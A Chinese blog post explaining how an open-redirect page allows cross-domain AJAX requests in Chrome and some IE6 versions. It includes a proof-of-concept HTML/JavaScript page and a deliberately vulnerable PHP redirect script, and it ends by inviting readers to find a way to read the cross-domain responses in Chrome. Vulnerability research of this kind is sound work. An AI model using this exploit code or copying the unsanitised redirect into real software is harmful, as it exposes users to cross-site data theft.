by 空虚浪子心
Chrome浏览器,在使用ajax的时候,通过url转发漏洞的配合,可以跨域提交数据(但是不能读取返回数据)。
IE6的某些版本(不知道是什么版本,在家里和某个网吧成功了),通过用户点“确定”后,也是可以跨域提交并读取数据的。
通过url转发漏洞,才可以跨域。
下面是数据流程:
先请求存在URL转发漏洞的页面redirect.php。该页面返回"location : www.target.com"。
于是浏览器又请求了一次www.target.com。
在这里,FF和IE7以上,以及IE6某些无漏洞的版本,都是爆出权限错误的。
Chrome的漏洞:
Chrome在ajax接到302跳转之后,会给www.target.com发一个get请求的包,而www.target.com就返回了数据。
可惜返回数据后,js中的xmlhttp并没有办法读取返回的数据。否则漏洞就大了。
如图是paros得到的数据包:
—————————————–
IE6某些版本存在漏洞:
但是IE6的某些版本,通过用户的确认后,就可以跨域读取数据了:
用户通常会点确定。
点了确定后,alert出sohu那里抓来的信息。
下面是代码:
XML/HTML代码
- <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
- <!– saved from url=(0046)http://inbreak.net/kxlzxtest/haha/ajax.htm –>
- <HTML><HEAD>
- <META http-equiv=Content-Type content="text/html; charset=gb2312">
- <META content="MSHTML 6.00.6000.16825" name=GENERATOR></HEAD>
- <BODY>
- <DIV id=divid height="600" width="600" name="divid"><INPUT onclick=doMyAjax() type=button value=aaa> </DIV>
- <SCRIPT>
- var xmlHttp;
- var tmpdiv;
- function createXMLHttp(){
- if(window.XMLHttpRequest){
- xmlHttp = new XMLHttpRequest();
- }
- else if(window.ActiveXObject){
- xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
- }
- }
- function startRequest(doUrl){
- createXMLHttp();
- xmlHttp.open("GET", doUrl, false);
- xmlHttp.send(null);
- setTimeout("alert(xmlHttp.responseText)",3000);
- }
- function doMyAjax()
- {
- var time = Math.random();
- var strPer = ‘http://inbreak.net/kxlzxtest/haha/redirect.php?done=http://www.sohu.com’+String.fromCharCode(38)+’time=’+time;
- startRequest(strPer);
- }
- </SCRIPT>
- </BODY></HTML>
请注意,在使用的时候,因为是get请求,而done需要的变量中有“&”符号,所以必须使用“ String.fromCharCode(38) ”来代替。否则会产生截断。
redirect.php代码很简单:
PHP代码
- <?php
- $kxlzx = "Location: ".$_GET["done"];
- header($kxlzx);
- exit;
- ?>
对于chrome这里,没办法读取目标域返回的数据,深感遗憾,所以发出来这篇文章,大家想想办法。
0 条评论。